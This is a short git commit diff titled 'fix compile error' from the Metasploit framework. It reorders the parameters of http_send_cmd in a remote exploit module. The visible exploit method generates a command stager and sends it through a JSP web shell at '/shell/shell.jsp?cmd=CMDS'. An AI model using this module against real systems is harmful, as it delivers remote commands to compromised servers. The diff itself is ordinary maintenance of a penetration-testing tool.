fix compile error
git-svn-id: file:///home/svn/framework3/trunk@8723 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
3d1f773f18
commit
de9e944ad9
|
@ -65,14 +65,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
|
||||
cmd_list = generate_cmdstager()
|
||||
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, delay = 0.5, cmd_list)
|
||||
http_send_cmd({'uri' => "/shell/shell.jsp?cmd=CMDS"}, cmd_list, delay = 0.5)
|
||||
|
||||
handler
|
||||
|
||||
end
|
||||
|
||||
|
||||
def http_send_cmd(opts, delay = 0.5, cmd_list)
|
||||
def http_send_cmd(opts, cmd_list, delay = 0.5)
|
||||
|
||||
total_bytes = 0
|
||||
cmd_list.each { |cmd| total_bytes += cmd.length }
|
||||
|
|
Loading…
Reference in New Issue